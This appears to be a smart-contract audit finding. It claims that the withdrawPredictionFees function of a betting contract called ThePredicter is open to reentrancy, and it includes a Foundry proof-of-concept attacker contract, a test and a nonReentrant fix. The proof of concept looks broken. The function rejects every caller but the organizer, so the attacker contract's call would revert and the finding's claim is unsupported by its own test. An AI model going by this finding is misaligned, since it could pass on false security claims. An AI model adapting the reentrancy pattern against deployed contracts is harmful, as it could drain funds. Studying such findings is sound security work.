The contract is susceptible to reentrancy attacks due to the absence of reentrancy protection.
function withdrawPredictionFees() public {
if (msg.sender != organizer) {
revert ThePredicter__NotEligibleForWithdraw();
}
uint256 fees = address(this).balance - players.length * entranceFee;
(bool success, ) = msg.sender.call{value: fees}("");
require(success, "Failed to withdraw");
}
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "../src/ThePredicter.sol";
import "../src/ScoreBoard.sol";
contract ReentrancyAttack {
ThePredicter public target;
bool public reenter = true;
constructor(ThePredicter _target) {
target = _target;
}
receive() external payable {
if (reenter) {
reenter = false;
target.withdrawPredictionFees();
}
}
function attack() external {
target.withdrawPredictionFees();
}
}
contract ThePredicterTest is Test {
ThePredicter public predicter;
ScoreBoard public scoreBoard;
ReentrancyAttack public attacker;
address public organizer = address(0x1);
address public player1 = address(0x2);
address public player2 = address(0x3);
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
predicter = new ThePredicter(address(scoreBoard), 1 ether, 0.1 ether);
vm.deal(address(predicter), 100 ether);
vm.stopPrank();
vm.deal(player1, 10 ether);
vm.deal(player2, 10 ether);
vm.startPrank(player1);
predicter.register{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player2);
predicter.register{value: 1 ether}();
vm.stopPrank();
vm.startPrank(organizer);
predicter.approvePlayer(player1);
predicter.approvePlayer(player2);
vm.stopPrank();
attacker = new ReentrancyAttack(predicter);
vm.deal(address(attacker), 1 ether);
}
function testReentrancyAttack() public {
vm.startPrank(organizer);
predicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(address(attacker));
attacker.attack();
vm.stopPrank();
assertGt(address(attacker).balance, 1 ether);
}
}
function withdrawPredictionFees() public nonReentrant {
if (msg.sender != organizer) {
revert ThePredicter__NotEligibleForWithdraw();
}
uint256 fees = address(this).balance - players.length * entranceFee;
(bool success, ) = msg.sender.call{value: fees}("");
require(success, "Failed to withdraw");
}